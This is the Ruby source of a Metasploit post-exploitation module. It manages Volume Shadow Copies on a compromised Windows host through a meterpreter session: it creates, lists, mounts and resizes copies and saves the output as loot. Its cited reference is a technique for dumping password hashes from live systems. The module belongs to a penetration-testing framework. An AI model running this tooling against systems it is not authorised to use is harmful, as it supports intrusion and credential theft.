##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::FileSystem
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::ShadowCopy

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Volume Shadow Copies',
        'Description' => %q{
          This module will perform management actions for Volume Shadow Copies on the system. This is based on the VSSOwn
          Script originally posted by Tim Tomes and Mark Baggett.

          Works on win2k3 and later.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['theLightCosine'],
        'References' => [
          [ 'URL', 'https://web.archive.org/web/20201111212952/https://securityweekly.com/2011/11/02/safely-dumping-hashes-from-liv/' ]
        ],
        'Actions' => [
          [ 'VSS_CREATE', { 'Description' => 'Create a new VSS copy' } ],
          [ 'VSS_LIST_COPIES', { 'Description' => 'List VSS copies' } ],
          [ 'VSS_MOUNT', { 'Description' => 'Mount a VSS copy' } ],
          [ 'VSS_UNMOUNT', { 'Description' => 'Unmount a VSS copy' } ],
          [ 'VSS_GET_INFO', { 'Description' => 'Get VSS information' } ],
          [ 'VSS_SET_MAX_STORAGE_SIZE', { 'Description' => 'Set the VSS maximum storage size' } ]
        ],
        'DefaultAction' => 'VSS_GET_INFO',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_dir
            ]
          }
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptInt.new('SIZE', [ false, 'Size in bytes to set for max storage.' ], conditions: %w[ACTION == VSS_SET_MAX_STORAGE_SIZE]),
        OptString.new('VOLUME', [ false, 'Volume to make a copy of.', 'C:\\' ], conditions: %w[ACTION == VSS_CREATE]),
        OptString.new('DEVICE', [ false, 'DeviceObject of the shadow copy to mount.' ], conditions: %w[ACTION == VSS_MOUNT]),
        OptString.new('PATH', [ false, 'Path to use for mounting the shadow copy.', 'ShadowCopy' ], conditions: ['ACTION', 'in', %w[VSS_MOUNT VSS_UNMOUNT] ])
      ]
    )
  end

  def run
    # all conditional options are required when active, make sure none of them are blank
    options.each_pair do |name, option|
      next if option.conditions.empty?
      next unless Msf::OptCondition.show_option(self, option)

      fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
    end

    fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
    fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
    fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss

    send("action_#{action.name.downcase}")
  end

  def action_vss_create
    if (id = create_shadowcopy(datastore['VOLUME']))
      print_good "Shadow Copy #{id} created!"
    end
  end

  def action_vss_get_info
    return unless (storage_data = vss_get_storage)

    tbl = Rex::Text::Table.new(
      'Header' => 'Shadow Copy Storage Data',
      'Indent' => 2,
      'Columns' => ['Field', 'Value']
    )
    storage_data.each_pair { |k, v| tbl << [k, v] }
    print_good(tbl.to_s)
    store_loot('host.shadowstorage', 'text/plain', session, tbl.to_s, 'shadowstorage.txt', 'Shadow Copy Storage Info')
  end

  def action_vss_mount
    print_status('Creating the symlink...')
    device = datastore['DEVICE']
    unless device =~ %r{^([/\\])\1\?\1GLOBALROOT\1Device\1([\w\- ]+)\1?$}
      fail_with(Failure::BadConfig, 'The DEVICE parameter is incorrect, it should begin with \\\\?\\GLOBALROOT\\Device\\')
    end
    device << Regexp.last_match(1) unless device.end_with?(Regexp.last_match(1)) # the DEVICE parameter needs to end with / or the link will be created successfully but will not work

    if create_symlink(datastore['PATH'], device, directory: true)
      print_good('Mounted successfully')
    end
  end

  def action_vss_unmount
    print_status('Deleting the symlink...')
    session.fs.dir.rmdir(datastore['PATH'])
  end

  def action_vss_list_copies
    shadow_copies = vss_list
    return if shadow_copies.empty?

    list = ''
    shadow_copies.each do |copy|
      tbl = Rex::Text::Table.new(
        'Header' => 'Shadow Copy Data',
        'Indent' => 2,
        'Columns' => ['Field', 'Value']
      )
      copy.each_pair { |k, v| tbl << [k, v] }
      list << " #{tbl} \n\n"
      print_good tbl.to_s
    end
    store_loot('host.shadowcopies', 'text/plain', session, list, 'shadowcopies.txt', 'Shadow Copy Info')
  end

  def action_vss_set_max_storage_size
    if vss_set_storage(datastore['SIZE'])
      print_good('Size updated successfully')
    else
      print_error('There was a problem updating the storage size')
    end
  end
end
